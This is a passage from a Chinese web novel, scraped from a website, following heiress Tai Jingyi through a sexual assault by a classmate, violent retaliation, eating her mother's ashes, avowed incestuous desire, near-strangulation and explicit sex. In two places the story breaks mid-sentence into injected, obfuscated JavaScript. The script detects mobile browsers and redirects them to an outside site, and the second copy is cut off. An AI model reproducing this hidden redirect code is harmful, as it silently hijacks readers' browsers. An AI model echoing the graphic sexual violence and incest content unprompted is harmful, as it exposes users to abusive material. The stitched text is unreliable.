台静怡的声音明明近在耳边,可却像从很远传来,听得不真切。李欣眼睛几乎猩红,忽视台静怡的挣扎,直接咬住她的嘴唇,饿狼扑食般。然后学着电视剧里的样子,逐渐研磨。 “唔!” 台静怡的眼球都快瞪掉出来。 “你不是男女通吃么……”李欣飞快把衣服脱掉,“跟我做,跟我做!” 她几乎迫切地命令台静怡,“拿手抠我,或者戴道具,都可以。快跟我做!” 说完她又堵住台静怡的嘴,将台静怡抱得死紧。 “神经病!!!” 台静怡猛地发力,把李欣掀落在地。 “你这是猥.亵!是强.奸!”台静怡边吼,拿起手机朝外跑。 李欣的腿撞上墙角,被割裂般的疼。她瘫跪在地,用力拽住台静怡的腿,情绪激动,竟大哭起来。 “求你了,给我钱,我要钱。”李欣被拖行一段距离,小腿肚出血,几乎要磨掉一层皮。 “钱……钱……”李欣哀嚎道,“我没办法,棠棠,我真的没办法……没有钱我会死的……我根本赚不到那么多钱……我想离开这里,真的求求你了……” 台静怡往屋门出口的方向跑得更快,同时也被李欣拽得更紧。 台静怡气不打一处来,把李欣从地上揪起又抵到墙上,二话不说,先“啪啪”扇了李欣几巴掌。又揪着李欣的头发,把她的头朝墙上撞了几下。 李欣哭嚎的动静终于小了。 “你恶心不恶心。”台静怡骂道,“你知道你那是猥.亵吗?怎么这么不要脸!你不是法学专业的嘛么,你不是学法懂法么,怎么有脸做出这么没底线的事!” 李欣抖了几下,拽住台静怡的手腕。 “对不起……我真的需要钱。” 说完,她无力地跌落在地,一并将台静怡带来的那个名牌包拽落。 包里掉出一张银行卡。 “你要钱是么。”台静怡捡起其中一张卡,狠狠甩在李欣脸上。 “给你!”台静怡拎包推门,不忘回头怒斥:“等着坐牢吧!变态!” 这张卡,是曾几何时台静怡用来打发小狼狗的“嫖.资”。 台静怡曾告诉过李欣这张卡的密码以及金额。 这周一,台静怡拿着这张卡去夜店消遣,一个晚上花掉500万。所以现在,这卡里还剩——60万。 李欣把卡小心翼翼地捧在手里,眼里流泪,嘴角含笑。 又哭又笑。 她抬头,盯着镜子里的自己,竟觉毛骨悚然。那个流血的邋遢疯女人,竟然是自诩为高敏感文艺女青年的自己。 ** 台静怡好像从没这么惊慌过,思绪乱糟糟的,一会儿想“那女人简直疯了”,一会儿想“这一定是蓄谋猥.亵吧”。 从李欣家跑出后,她立即叫了辆车,却不知道究竟要去哪里。被车载了一段距离后,她又下车,随便坐在路边。 那时是晚上八点,路对面有几家小吃摊,生意正好。她看着对面,戴上有线耳机听歌,试图舒缓心情。听了半个小时的歌,她仍高度紧张,不由得胡思乱想。 那女人简直疯了,不是宣称是直女吗?这算是猥.亵吧,这一定是猥.亵吧!差点就被强了!最初她是想看看那女人会怎么巴结她,可从没料到,那女人竟会演“强制爱”这一出! 此刻她的恋母情绪被李欣的行径震散,取而代之的是莫大的震惊与恶心,甚至是不知所措。 出神间,手机从膝盖划落掉地。耳机线猛地把耳朵一扯,痛得她“嘶哈”出声。 台静怡把手机捡起,正好看到团支书给她发的消息:“把青年大学习后台的完成截图发来,速速!” 台静怡这才想起,自己忘了做最新一期的青年大学习,现在这一期的统计数据已经截止。根本就没做,哪来的完成截图。 台静怡叹了口气。 回完团支书消息,手机屏幕又亮了下。台静怡紧张的心一下提到了嗓子眼里。 企业微信里的智慧宿管给她发了条消息。 “同学,截至本日8:00:00您尚未刷脸归寝,请于23:00:00前及时回到宿舍,如您已归寝,请查看通行记录,最后一条记录是进,请忽略掉该提示信息,如果是出,请返回宿舍门口再次刷脸进入,谢谢配合!” 学校宿舍的闸机系统又在抽风。暑假期间,还要求学生按时回寝。 台静怡又叹了口气,真是闹心。 半个小时后,她的思绪清晰了些,于是点开和姚师姚的聊天框,疯狂给对面吐槽。 “要是你在我身边就好了。”台静怡发消息道。 对面不知道突然遇见了什么事,在她发出这条消息后,接下来的两个多小时都没有回复。 晚上十一点,对面的小吃摊收摊。 台静怡看着只剩10%的手机电量,头脑清醒不少。她站起身,拍了拍身上的土,准备打车回家。如果没车,就打电话让家里的舅叔来接。 就在她起身的那一刻,眼前突然闯来一阵强光——强光手电筒的巨型光。 台静怡着急忙慌地护住眼,那光有感应似的,慢慢调小了些。 等光线不那么刺眼时,台静怡把眼眯开一条缝,仔细打量前方。 视线里,有个黑长直、瘦高个,戴着头戴式手电筒,穿着风衣,拖着一个沉重的大行李箱的姑娘,正朝她所在的这片地方,艰难走来。 那姑娘感知到她的视线,立即朝她笑着挥手,大声喊道:“嗨!俺老姚来也!” 姑娘见她愣在原地,干脆把行李箱丢下不管,野猴下山似的朝她奔来。 那姑娘越跑越快,越跑越快,直到将她抱了满怀。 “不认得我啦?我是姚师姚啊,你的绝世好闺闺啊!”姚师姚捧起台静怡的脸,“我临时坐高铁赶来的,想着给你一个惊喜,就没回你的消息。不生气昂。” 台静怡愣了下,笑出声。 “这么热的天,你穿着风衣来了。”台静怡掀起姚师姚那件扣紧的风衣,朝里看。 看清后,台静怡瞠目结舌,“我勒个S.M女王啊。” 16.Chapter 16 台静怡揪出几张抽纸,给姚师姚擦落鬓角的汗珠。 “上月底,我妈的男大小三把她拉走度蜜月。我妈临走前交代,让我务必趁假期考个证。我左思右想,最后选择考训诫师上岗资格证,考试地点就在咱俩常去的那家club。” 姚师姚把风衣拽松了些,“考绳缚、S.P、乳那什么责。”说着甩了甩手腕,“一套流程走下来,腰酸背痛,腱鞘炎都要犯了。” 她从风衣口袋里掏出一个红本本,“不过还好已经考过了。” 考试内容对台静怡来说并不陌生,就是圈里的常规玩法,她也考过。club里有一套完整的晋级体制,她十八岁时考的是初级训诫师,后来慢慢晋升,现在是特级名誉训诫师。按照体制规则,她算是姚师姚的大前辈。 台静怡拎起那个笨重的大行李箱,揪着姚师姚的袖管,“走啦,小后辈。” 再回到家,秦述还没回来。 邢铎手里捧着一个金丝楠木骨灰盒,看着一身反季打扮的姚师姚,“你咋跑到这里来了?” 他把姚师姚赶去洗澡,又把骨灰盒放在台静怡手里,“你妈妈。” 台静怡看着兴致不高。往年这日她一向爱挂搭着脸,脾气暴躁。但凡谁的呼吸声稍不如她的意,她的胳膊就会抡过去扇人家的脸。 但今晚她整个人蔫巴巴的,像遭遇了什么不可言喻的事情一样。 邢铎问她怎么回事,她没把李欣那事说出来,只是打开骨灰盒,抓起一捧骨灰,嗅了嗅。骨灰味的骨灰,颜色是毫无生机的白。 未免尸体在焚烧炉里爆炸,在烧之前要先把肚子划开。遭遇车祸当场死亡的妈妈,脖子以下的身体已经成了两半。甚至不用开膛破肚,肠子自己就流了一地。 如果不特意找人烧第一炉,那么妈妈的骨灰会和许多炉友的融在一起,成为一罐大杂烩。但还好,最终妈妈是第一炉烧的。 把尸体放到矿石床上,之后再拉出来,就成了一具零散的骷髅。头盖骨一类的骨头较为坚硬,不能化成骨灰,因此要拿锤子把骨灰敲破、敲碎,敲成灰,再拿小扫帚把骨灰都扫进盒子里,接着烧下一具尸体。 妈妈从一具残肢断臂的尸体到一盒骨灰的那个过程,当年台静怡全程目睹。 “去接骨灰盒的路上,中间途径火葬场。火葬场烧人的味道闻起来竟然是香的,香得诡异又油腻。”台静怡搓了搓指腹,骨灰从指缝中流失。 “妈妈的骨头是我亲自敲碎的,所以我很清楚,骨灰盒里有妈妈的哪些骨头。” 盒子里有被车撞得畸形的头盖骨、有断掉的肋骨、有搓折的尾椎骨等,不过这些骨头只是妈妈的一小部分,其余的都被火葬场给扔了,再也找寻不到。 “你舅舅今晚要谈生意,没能亲自来给你送骨灰盒,不过他让我给你带些话。” 邢铎梳起台静怡炸毛的头发,“过去不把骨灰盒交给你,是想遵守跟你姥姥和你妈妈之间的承诺。” 台静怡:“什么承诺?” 邢铎:“你那么恋母,恋到你妈妈都有点害怕的程度。人家担心你会把她的骨灰兑水吃,于是就在遗书里写,不想让自己的骨灰盒被你找到。其实那是玩笑话,母女没有隔夜仇。你妈妈一向爱乱写乱想,写过想过,事情就算过去了。谁知道遗书刚写好不久,她就……” 所以不好的谶语不能乱说,不吉利的事不能乱做。一旦真出了事,哭都没地方哭去。 “你妈妈走后,你姥姥按照遗书行事。你姥姥也是个犟人,看你妈妈写什么,她就照做什么。你妈妈说不让你碰骨灰盒,你姥姥就一直遵守,也要求你舅舅遵守。” “那个时间段,我跟妈妈闹了矛盾。妈妈不愿意见我,心里对我还存着气,在遗书里写这些也正常。” 台静怡只觉心口像压了千担石一样沉重,抱着骨灰盒回了屋。 她把骨灰盒放在床头,待洗漱过,侧躺在床上,眼睛盯着骨灰盒。 金丝楠木方形骨灰盒不符合她的审美,她要把骨灰盒换成七彩螺钿竖棺材样式。这样一到夜晚,那口螺钿棺材就会发出淡光,像妈妈的眼睛在眨。 她翻来覆去,无论如何都睡不着。妈妈从四面八方注视着她,她却无法与妈妈的视线碰撞到一起。 她想把那个说“时间会治愈一切”的人杀死,虽然她并不知道最初是谁说的这话。 时间非但没有治愈她失去母亲的痛苦,反而让她越来越痛,越来越扭曲。 99.9%的时间里,她潇洒猖狂,想扇谁就扇谁,想睡谁就睡谁,惬意又幸福。但有0.1%的时间,她将其定义为“恋母专属时间”。在这个时间段里,她一直是缺失的状态。这时她跟全世界没有妈妈的孩子一样,过得不够幸福。 她知道车祸是概率性事件,没有预告没有转机,只有死路一条。但仍不能从妈妈的死亡里释怀。 脑袋里丝丝缕缕的痛,仿佛有无数根锋利的丝线缠紧脑仁,生拉硬拽。额前青筋乍出,手指不自主地颤抖。心脏跳得钝慢,濒死一样。 台静怡从床上一跃而起,倒了杯热水,小口呷着。 视线落在骨灰盒的盖子上。 “妈妈,我好想你。” 妈妈死后,从此她的夏天就是残肢断臂的夏天。她可以有无数个干妈,可她的妈妈再也回不来了。即使骨灰盒就待在她一眼就能看到的地方,可妈妈再也回不来了。 她膝盖一软,跪在那个矮矮的床头柜前。 她平生就跪过这一个人。 过新年时,给这个人磕头要压岁钱,“妈妈新年快乐!” 闹矛盾时,给这个人跪着认错,“我们和好吧!” 撒特别嗲的娇时,跪在床上给这个人表演杂技,“妈妈夸夸我!” 现在她给妈妈跪下,低喃出心里最强烈的那个诉求—— “妈妈,我想尝一尝你的骨灰。” 她虚虚搂着骨灰盒,把额角抵在冰凉的盒身,轻柔地摩挲着——摩挲着—— “像随机抽奖那样,我会随意舀起一捧骨灰,就水服下。不知道会吃下你的眼睛,还是你的嘴唇。会幸运地吞下你的心脏么,还是会含住你的手指,像小孩子吃.奶那样……” “之前你身上的味道像上海国金中心,永远是各种高档香水打底,香得恒温,香得让人昏昏欲睡。可现在,你只剩下一身骨灰味。我已经完全闻不到你的气息了。” “请原谅我吃掉你的骨灰。” 像咽一捧被碾碎的药丸粉末一样,如果不及时就水服下,粉末就会黏在腔壁,呛住喉管,很快就会呼吸不畅,有窒息现象。 电线熊熊燃烧、头发被烧卷烧黑、电蚊拍拍死蚊子、去医院打磨牙齿…… 此刻嘴里就是那种味道,强烈到无法忽视的焦糊味。 她终于与妈妈融为一体。 妈妈在她身体里得到新生,同时也会在将来,等她死亡的时候再死一次。 妈妈终于完全属于她了。 她心满意足,就此歇下。 ** 姚师姚洗完澡,溜去台静怡那屋,悄悄爬上床,从背后环住台静怡的腰。 随即,被烫到似的,姚师姚飞快缩回手,“嚯!是个裸的!” 闺蜜之间,在外“卖CP”归“卖CP”,但那可不代表真的想跟彼此做.爱!卖是搞怪、是耍宝、是烘托氛围需要,绝不是真的可以落实到床上的行径! 姚师姚背过身,往旁挪了挪,“睡那么早。” 台静怡还没完全睡着,“又困又累,主要是累。” 姚师姚翻过身,重新搂上台静怡的腰。 “用不用我帮你收拾李欣?”姚师姚偎在台静怡身旁,“你可别因为那种人生气。要是气出乳腺结节、乳腺增生,那可真是太不值当了。” “你不提这事的话,我都忘了生气了。”台静怡正面朝上,睁开眼,盯着透有月光的屋顶。 她是第一次被强.吻,又觉惊恐,又觉新奇,更不知道李欣哪来的胆子,敢对她做这种事。 台静怡没再说话,闭着眼睡了。 没有明确指示,那就是在指示:随便看着办。 姚师姚知道台静怡回老宅在即,无心操心这边的琐碎事。不过自己却是闲人一个,有的是听指示做事的时间。 ** 第二天。 准高三学生在假期补课期间放了一天假。 李妍才刚回到家,书包还没解下,就被李欣神秘兮兮地扯到屋里。 “姐,你这是……”李妍看着浑身是伤的李欣,不知所措。 “我没事,你先别管我的情况。”李欣似一夜没睡,头发凌乱,眼袋比眼睛还大。 李欣把卡塞给李妍。卡在裤袋里塞得久了,热热的,把李妍的手烫得哆嗦一下。 “大小姐给我的。”李欣咧起嘴角笑了笑,“60万,我们有钱了!” “60万!!!”李妍简直不可思议。 60万能在这个三十八线小县城全款买下一套房,能在县城底下的乡镇上全款买下两套房!稍微节省点,60万就等于一套小房子和一辆小车子!如果按照每月工资3千来算,那60万就相当于连续不停工作将近17年! 就算去大城市消遣挥霍,60万也够姐妹俩挥霍一段时间了! “她……她就平白无故地把卡给你了?她不会突然后悔,把钱又要回去吧?你们俩有商量什么协议吗?如果她说你骗钱,把你告了该怎么办……现在就可以使用这笔钱么,不会被警察打电话吧?你有把这事跟爸妈说吗?千万要瞒住!不能让其他亲戚知道!” 问完,还不等李欣回应,李妍就把卡贴在脸上,笑得眼都眯成一条缝。 李妍很快反应过来,“所以你脸上的巴掌印是怎么回事?还有你头上、腿上,都有流血的迹象!胳膊也被掐肿了……” “大小姐把你打了一顿?”李妍拿出家庭医药箱,简单给李欣包扎后,硬要拉着李欣去医院看看。 李欣面上一僵,“完全没有这回事,你想多了。昨天我不小心摔了下,摔狠了。跟大小姐没关系。” 李妍怎么可能会信。 “随便你怎么瞎编,先跟我去医院做个检查。”李妍硬扯着李欣往外走,“不用那60万,用我的钱!快,快走!” 李欣不肯,脚趾头紧扒凉拖,凉拖紧扒地板,鞋底“呲溜”作响。 正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286460|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在姐妹俩拉扯时,隔壁邻居忽然喊了声:“李欣!外面有人找你!” 她们家是破旧小区楼里的某一户。在这片老区,家家户户都紧挨在一起。晾衣绳随处可见,洗好的衣物从这边这家阳台一直延伸到那边那家阳台。到了夏天,整个小区都飘着太阳暖洋洋的味道,拥挤又温馨。 这时隔壁邻居就从窗户里扒出头,不断喊着李欣的名字,让她快去见见人家。 李欣甩开李妍,“你在家等着。”又大跨步走出屋,将屋门反锁。 距离自己十步以外,站有一个陌生女生。李欣确信俩人根本不认识。 那女生跟台静怡一样,有一头打理极好的黑长直。 也跟台静怡一样,瘦高个,皮肤瓷白,只不过比台静怡更高些,也白得更没有血色些。 女生眼睛狭长,四肢长纤,个子高挺。身穿一件菖蒲紫曳地旗袍,脚蹬一对方头高跟拖,连人带鞋约莫有180cm。 女生见李欣出来,强忍翻白眼的冲动,抱臂冷睨,冷声问:“你就是李欣?” 李欣顿时浑身汗毛耸立,后背起了许多凉汗。 自己完蛋了,果然被报复了。 她确信面前这位陌生女生,一定是姚师姚无疑。 又有点庆幸。幸好把屋门反锁了,就算要死人,死她一个就够了。她被杀死的那段时间,足够妹妹藏身或逃跑。 几秒之间,李欣已然汗流浃背。 姚师姚手心里的小短针管已经等得不耐烦,她上前两步,“你就是李欣?” 李欣背部紧贴屋门,眼睛四处瞟,试图寻一个趁手的武器。 “……是……我是……” 姚师姚默不作声地把针管朝外推,又向前走了两步。 将要走到李欣身前时, 消息铃声响了—— 姚师姚给特别关心设置的铃声。 “紫啧~啧啧~紫啧嗯~紫啧是坏蛋~” 李欣知道,是台静怡在给姚师姚发消息。她曾听见台静怡的手机发出同样的消息铃声,就在昨晚。 所以,台静怡与姚师姚互为特别关心。 李欣眼神晦暗。 姚师姚翘着裸色美甲,噼里啪啦地打字回消息。因此动作,李欣窥见姚师姚掌心里躺有一个小针管。 过了半分钟,姚师姚抬起眼皮,当着李欣的面,把小针管扔到一旁的垃圾桶里。 “算你走运。” 姚师姚转身,下楼离去。 那是李欣第一次见到姚师姚,也是最后一次见到。 也是最后一次在青春时代,见到与台静怡相关的人与事。 ** 夏天就此仓惶度过,再一恍神,到了一个毕业季夏天。 大学毕业那天,恰好是台静怡的20岁生日。只不过她还没来得及庆生,就被秦述和邢铎架到了姥爷所在的那家医院。 站在单人病房门口前,秦述特意交代:“老爷子快不行了,最多一周时间。你进去坐他旁边,说点好听话。” 台静怡比了个“OK”的手势。 姥爷只说要见她,因此秦述与邢铎都站在外面等。 台静怡进屋,刚关上门,还没想好好听的说辞,就听病床上的姥爷费力嘟囔:“你不是说都改好了么!你……你那中药都按时喝了没有!” 台静怡歪了歪脑袋,夹着嗓子道:“姥爷,我听不懂你在说什么。” 她姥爷冷哼一声,把一部手机甩在台静怡面前。 “你自己看看!” 台静怡坐到姥爷身边,拿起手机看。 是个时长一分钟的小视频。视频环境昏暗暧昧,背景音是清纯男大在唱民谣。不像在夜场酒吧,更像是在一场小party现场。 视频的主人公是她和某个女人,女人脸上打了码,她的脸和姿势却清晰无比。 女人跨坐在她身上,而她的手指动来动去,仰头问:“姐姐,我弄得你爽不爽?” “棠棠,你不是跟姥爷说,你都喝中药调理好了,不再喜欢女人了吗?”姥爷问道。 台静怡把手机一丢,头脑刮起风暴,“哎呀,姥爷你信我,视频里的人绝对不是我。可能是AI换脸吧,反正不是我。” 姥爷把脸一横,指着她随身携带的那个螺钿棺材样式的骨灰盒。 “你对着你妈发誓,你改好了!没再被鬼附身,喜欢女人了!敢不敢?” 台静怡又“哎呀”一声,如实交代道:“好吧,其实我把中药倒掉,一三五换成可乐喝,二四六换成咖啡喝了。” 说完,又着急忙慌地找补:“其实我中毒已深,光靠喝中药已经调理不好了!可能还得喝大剂量农药才行!” “其实我有一个能立即见效,恢复异性恋的方法!” 台静怡打开美图秀秀APP,导入一张自己的自拍照,然后在美颜—发型发质功能里,找到并点击“顺直”效果。 眨眼的功夫,图片里她原本那头黑长直就变得更“顺直”了! 台静怡把手机塞到姥爷面前,让姥爷不得不看。 “你看,还有‘自然直’效果!一键变直,还不需要充值VIP,实在是太良心了!” 17.Chapter 17 在台静怡真挚感谢美图秀秀APP时,她姥爷那副瘦削的身体已经被气得颤抖不止。 把人气成这样还不罢休,台静怡又潇潇洒洒地把那个视频命名为“唇友谊”,存了个备份。 台静怡揣摩着视频的拍摄角度,“去party前,会有人专门把手机收走,全程禁止拍摄。这个视频能流出来,一定是‘唇友谊’姐姐偷偷带了手机拍的。” 似乎所有硬腕老爷子都有同一种烦恼——家里小辈整日在外花天酒地,不成气候。 她姥爷也有此种忧虑。 “你这样——总是这样——”姥爷歪过脑袋,盯着窗外那棵绿生生的香樟,“让我怎么放心把集团交到你手里。” 台家集团是世界五大制药巨头之一,其家族从唐朝起历代都是大财阀。这样的大集团,家族人口却不旺盛。到了最年轻的一代,只留台静怡一人能继承家业。 所以她姥爷也常想,小孩子如果过得太顺遂,是否就失去了为继承家业而不懈奋斗的心劲。然而生下她,分明是让她尽情享福,一辈子无忧顺遂的。 姥爷叹口气,“尽快回归到企业里。集团董事长只能姓‘台’,从前是你姥姥,后来是你妈妈。不久后的将来,台董就是你。像我这一类异姓赘婿,永远只配做董事长的秘书助理。生活里尽责取悦女方,工作上尽职辅助女方。也就是占个‘老不死’的便宜,才能被称作‘老爷子’。” 他回过头,见台静怡已经跷起二郎腿,百无聊赖地玩起手机。 “现在要说说你结婚的事。” 姥爷说着,朝台静怡背后那扇小玻璃窗瞟了瞟。 屋里话音刚落,玻璃窗外的两个男人便默契走远。 姥爷从床侧的犄角旮旯里挑出一个小型监听器,将其掐断。 “你舅舅和你铎叔,在外面监听呢。”姥爷不屑地勾起嘴角,“因为知道我一定会单独见你,跟你提起婚姻大事。” 台静怡把手机放下,盯着姥爷浑浊的眼睛,决绝道:“要我跟人领证,想都别想。来一个我杀一个。” 她姥爷听了,咧开嘴,满意地笑了。 “有你姥姥当年的厉害模样。” 热浪顺着姥爷枯瘦的脸庞一路爬拢,从病房里爬拢到玻璃窗外,又落到正在融化的绿荫道上。一切都被夏天模糊掉真实面孔,一切都是一种不留任何情面的毒辣。 那是台静怡最后一次见到完整的、没被模糊掉的姥爷。 五天后,她抱着一个黑檀木骨灰盒,从火葬场走出,上了秦述开来的那辆奥迪RS7,坐到后排,头抵着窗,一言不发。 副驾驶的邢铎递给她一张时间表,“你看看选哪天。” 是说选婚宴日期。 所谓“婚姻是爱情的坟墓。” 对渣女来说,婚姻是一道落了实地的束缚。一旦结婚,便总有些“渣女上岸”的意思。 而台静怡不愿上岸。 姥爷拗不过她,最终允许不领证、不办婚礼,但礼钱总是要收的,宴席总是要摆的,简单走个过场就好。 “冲喜是来不及了。我走后,你选一个天朗气清的日子,把宴席请了。” 台静怡还记得那天姥爷说的话。 她没接那张时间表,邢铎就把手缩回,没再提这回事。 等车行驶了有段距离,彻底把火葬场的那股烧人味甩脱,台静怡才低声开口:“就选在妈妈的忌日。” 舅叔一齐怔了怔,随即附和说好。 吊唁要招待,浮于形式的虚假婚姻要招待,干脆提高效率,一起办了。 再说,能做决定的从来都是她。 道路平稳,长得一眼望不到头。台静怡的脑袋也平稳地歪在窗前,头发挡住大半张脸,只有一个白白的下巴颏的影儿露在外面。 她抱紧骨灰盒,盒上雕刻的纹样很硌手,像一道又一道深浅不一的沟壑,把她凹陷的指腹吞没。 五天前,她恨姥爷。明明这辈子她根本不会沾“婚姻”的边,然而姥爷说爱她,牵挂她,放心不下她,于是以这样的名义,用一张松垮的网将她包裹。 五天后,姥爷成了一捧粉色的骨灰——常年吃进口药导致的粉色。 喋喋不休的姥爷彻底安静了。 而她的恨被迫中止,那些复杂的情绪,都会在余生里不断蹉跎,慢慢变成无止尽的遗憾、追忆与怀念。 车朝前开。 窗外那个缺了一大半的月亮,从郊野大道坠进霓虹大厦。 ** 台家老宅坐落在一个总占地6000平的私家庄园里。树林、花园、湖泊、池塘、球场、游泳池、停机坪……豪宅的各种标配应有尽有,光是一年的修缮费都要大几百万。 宴请宾客那天,庄园里精心修缮一番,精致的奢靡从墙根冒出,摧枯拉朽要烧到天上去。一辆辆豪车从庄园大门驶入,如同驶入一个辨不清真假的仙境。 宴席前是吊唁环节。 台静怡在别墅的一楼大厅里立了个大牌子,上面写着四个大字:“吸烟者滚。” 大厅两边摆有花圈,中央设有一高桌,上面摆着妈妈的骨灰盒。高桌后的那面墙上,挂着一副巨型遗照。花圈不死板,是丝绸、鲜花与绒线的组合物,像放大版吧唧托。骨灰盒和遗照框都是螺钿样式,被光一照,登时发出一些细碎的闪光,像流麻一样。遗照不是黑白样式,是妈妈对着镜头,笑眼弯弯的彩色照片——台静怡小时候给妈妈拍的。 为了保证现场氛围,台静怡推来一个音响,循环播放着一首悲伤纯音乐。 现场布置很新潮,可BGM又实在有沉浸感。不一时,排着长队吊唁的人,各个都拿起小手帕抹起泪。有的是对妈妈爱而不得的阿姨叔叔,有的是想念妈妈的长辈或后辈,有的是台静怡的同龄朋友…… 他们一一走到骨灰盒前,对着那个打着粉色蝴蝶结的螺钿棺材骨灰盒,表示他们的各种情绪。 队尾是一位风度翩翩的中年叔叔。小说里的深情男主到了中年时,也不过是这位叔叔的模样。 台静怡记得这位叔叔,他是妈妈的竹马,是当年差点成了妈妈的配偶的男人,只不过后来被她爸那个天降正宫给截胡了。 叔叔看到骨灰盒的打扮,简直两眼一黑。 “棠棠,你妈妈喜欢蓝色,你怎么给她系了个粉色蝴蝶结。” 叔叔眼里泛泪,话声发颤。 台静怡说:“我喜欢粉色。” 叔叔噎住,“你这孩子……说是恋母,其实还是最爱你自己。” 说完,他膝盖发软,半跪在骨灰盒前。欲语泪先流,一语泪流不止,一面擦泪,一面痛嚎,一串又一串的深情语录由衷而出。配上催泪的BGM,他简直要哭尽所有眼泪。 “能不能……换个音乐……” 叔叔在泪光中请求。 台静怡说可以,播放下一曲。 谁知道,下一曲竟然是“叠个千纸鹤~再系个红飘带~” 她飞快换成原来的催泪音乐,若无其事道:“可以继续哭了。” 叔叔却哭不出来。起身,想拿根烟抽。 台静怡迅速把一个小牌子举到他跟前,认真念道:“吸烟者性无能。” 叔叔把烟盒装进口袋,神色怅惘。 “她走了,我跟太监有什么两样。” 台静怡好奇,“你没跟我妈做过?不该啊……那么多年的青梅竹马呢,但凡你主动些,我妈说不定就……” 叔叔惊讶她的聊天尺度:“你这孩子!” ** 晚上,宴席慢慢散了,庄园里恢复往常的静谧模样。 台静怡坐在楼梯上,下巴颏虚虚地磕在螺钿竖口棺材样式的骨灰盒上。盒上那个粉色蝴蝶结的丝带打在她的脖颈,呼吸间有种轻飘飘的痒。 “居然结婚了,真是不可思议。”她对着盒子里的妈妈说道,“我现在能接受这种身份,全靠良心。姥爷是你的爸爸,他的意思就是你的意思。不想让你伤心,所以不会让你爸爸伤心。” “不过竹马叔叔说得对,我果然还是最爱自己。”台静怡望着空落落的大厅,“花圈、遗照、骨灰盒……都是我喜欢的样子,而不是你们大人喜欢的。亲人死光了,没人再有权力管我了。以后我兴风作浪,再不会有人来劝:‘你妈妈不喜欢你这样做。’管你们喜欢不喜欢,我喜欢就行了。” 身旁是那扇落地夏加尔蓝彩绘玻璃窗,身后是一个□□管大鱼缸。她所坐的这片地方,是妈妈生前爱坐着发呆的地方。她身上的短袖短裙,是妈妈出车祸那天穿的衣服的同款。 自己外露的一切、家里家具的陈设,都是对妈妈和妈妈周边风景的极力模仿。 然而她最爱自己。 “你说过,我是天生的坏孩子。”台静怡站起身,在昏暗的月光里虚飘飘地眺望,像一个正在巡视领地的女鬼。 “你说得对。” “从始至终,我想要的母爱都不只是有爱,还要有性。你曾经做过的,夫妻之间的性。” “很恶心,对吧?” 台静怡把粉色蝴蝶结解下,打开骨灰盒,朝盒子里吹了口气。 “可是现在,妈妈,你只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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妈妈却被气得又哭又嚎,揪着她的耳朵,“哪个恶心男人附身到我女儿身上了!” 她说她纯属自愿,妈妈却把眼睛瞪得更大,“我怎么有你这么恶心的女儿!” 妈妈把她推给耿娴,“这孩子你先帮我养段时间!我要有心理阴影了!” 一周后,妈妈出了车祸。 母女俩的这个矛盾,从生离闹到死别,慢慢成了一个无法弥补的遗憾。 “你那个‘睡不到妈妈,就去睡人家女儿’的拙劣计划,和你那种自以为能拿捏一切的想法,一样蠢得令人发笑。”台静怡把骨灰盒放到一旁,将假.阳踢下楼。 “她不配做你的妈妈。”耿娴朝台静怡张开怀抱,“一个受不了女儿要和自己做.爱的妈妈,不配做妈妈。” 台静怡蓦地掐住耿娴的脖颈,把她狠狠抵在墙上。 “就你配?”台静怡手指收紧,“耿阿姨,就你配?” 她毫不收力,耿娴很快就仰着脑袋翻白眼,快要窒息的狼狈模样。 耿娴没有挣扎,四肢放松,挎包掉落在地。 台静怡眼里的月光和螺钿骨灰盒发的光一样锈迹斑斑。 耿娴渐渐看痴了,“嗬……啊……” 就在快掐断耿娴喉咙的那一刻,台静怡收回手,从挎包里随便挑了个小玩具,趁耿娴疯狂咳嗽间,飞快塞到她身体里。 耿娴的腿一下软了,跌着坐在台静怡的掌心里。 “我果然还是,更爱你。”耿娴让台静怡把玩具关了,“震得难受。我们有很久没做了,受不了。” 台静怡把手机的手电筒光打开,斜着照在耿娴脸上。 保养很好的中年女人,如果妈妈活到现在,应该也是这样。 这样想着,台静怡忽然剥掉耿娴的衣物。 身上一凉,耿娴隐隐有种不好的念头。 “你干嘛……啊!” “不是说爱我么。”台静怡钳住耿娴的下巴,“当着我妈的面,再说一次。” “说你把她珍视的母女关系毁掉后,竟然深爱着她的女儿。” 台静怡把骨灰盒踢来,“说你打着给她吊唁的幌子,流了她女儿一手水。” 耿娴受不了,挣扎两下,被台静怡甩了两巴掌。 台静怡把她的腿掰开,正对着那个骨灰盒。 “说啊,耿阿姨,当着我妈的面。”台静怡把耿娴的低马尾解开,“说你爱我,说你离不开我,说你要丢掉所有道德底线,不顾一切地靠近我。” “别叫我阿姨。”耿娴捂住脸,身体崩溃,“叫我‘小耿姐姐’,像你妈妈那样叫。” 台静怡嗤笑道:“你知道么,耿娴,我的手比你更了解你的身体。叫你‘阿姨’的时候,我的手根本拿不出来。” 18.Chapter 18 台静怡与耿娴以及那个骨灰盒,一起滚进婚房里柔软的床铺。 耿娴一条腿屈着,一条腿懒懒地搭到床边。胸脯与腰腹同频晃着,鼻腔汲取新鲜空气时,顺便将指套的玻尿酸味一并吸进肺里。 耿娴抬起手,抚了抚台静怡乌蓬蓬的脑袋,手上的玉镯意外碰到骨灰盒的边缘。 “铮——” 玉器碰撞螺钿盒的声音,像台君丽隔着阴阳两界递来回应。 耿娴摸索着把玉镯褪下,将镯子戴到台静怡的手腕上。又抚着小姑娘雪白的手腕,顺着胳膊曲线,把玉镯一直朝上捋,直到捋到小姑娘的腋下。 “以前上学读书时,我总喜欢拽着你妈妈手上的玉镯玩。她骨架小,又不怎么爱吃饭,玉镯一路松松垮垮地捋到腋下,都还有一根手指的空隙。” 台静怡把手镯摘下,扔到耿娴的小腹上。稍一加快速度,那手镯就从小腹滑到更下面,沾了玻尿酸液,沾了水液,浮光流动,亮晶晶的。 